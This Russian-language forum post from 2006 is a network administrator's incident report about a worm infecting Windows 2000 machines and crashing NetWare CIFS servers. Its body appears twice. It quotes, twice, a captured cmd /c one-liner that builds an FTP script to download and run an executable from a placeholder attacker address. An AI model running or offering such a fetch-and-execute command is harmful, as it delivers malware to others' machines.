Позорище позорное - Netware падает от виндового вируса!
Добавлено: 29 ноя 2006, 08:40Словили вчера в нашей сетке какого-то трояна, видимо из новых, потому что поиски по его симптомам в гугле и т.п. ничего не дают. Пока известно следующее: заражаются только машины с Win2000, ни одной машины с 98/XP/2003/NT в заразу не попало. При вторичном заражении (опишу ниже, что это такое) антивирусы со свежими обновлениями вскидываются и давят запускающиеся программы со случайными именами, но после этого машина перезагружается.
Механизм заражения точно пока неизвестен, но видно (пасли сниффером), что делается попытка сорвать стек и заставить выполнить атакуемую машину нечто вроде:
cmd /c echo open 111.222.333.444 28788 >x & echo user asn x >>x & echo bin >>x & echo get hqghumea.exe >> x & echo bye >>x & del x & ftp.exe -n -s: x & start hqghumea.exe
Если это удалось, то на атакуемой машине запускается ftp-клиент и забирает с машины 111.222.333.444 (атакующей), со случайного порта типа 28788 файлик вторичного заражения - hqghumea.exe - и запускает его. После этого атакуемая машина превращается в бота.
А самое неприятное для меня заключается в том, что описанная выше атака с 'cmd /c ...' роняет в абенд нетваревские сервера с CIFS-ом. Роняет в два приёма - сначала появляется единичка в угловых скобках (нефатальный абенд), а потом, видимо со следующей попытке, сервер просто перегружается. Вот такая вот эмуляция самбы у Новела - даже реакцию на вирусы сделали виндоподобную. Позор!
Выяснено, что падают сервера NW5.1 и NW6.0 (с распоследними SP). CIFS на NW6.5+SP5 держится.
Механизм заражения точно пока неизвестен, но видно (пасли сниффером), что делается попытка сорвать стек и заставить выполнить атакуемую машину нечто вроде:
cmd /c echo open 111.222.333.444 28788 >x & echo user asn x >>x & echo bin >>x & echo get hqghumea.exe >> x & echo bye >>x & del x & ftp.exe -n -s: x & start hqghumea.exe
Если это удалось, то на атакуемой машине запускается ftp-клиент и забирает с машины 111.222.333.444 (атакующей), со случайного порта типа 28788 файлик вторичного заражения - hqghumea.exe - и запускает его. После этого атакуемая машина превращается в бота.
А самое неприятное для меня заключается в том, что описанная выше атака с 'cmd /c ...' роняет в абенд нетваревские сервера с CIFS-ом. Роняет в два приёма - сначала появляется единичка в угловых скобках (нефатальный абенд), а потом, видимо со следующей попытке, сервер просто перегружается. Вот такая вот эмуляция самбы у Новела - даже реакцию на вирусы сделали виндоподобную. Позор!
Выяснено, что падают сервера NW5.1 и NW6.0 (с распоследними SP). CIFS на NW6.5+SP5 держится.
((
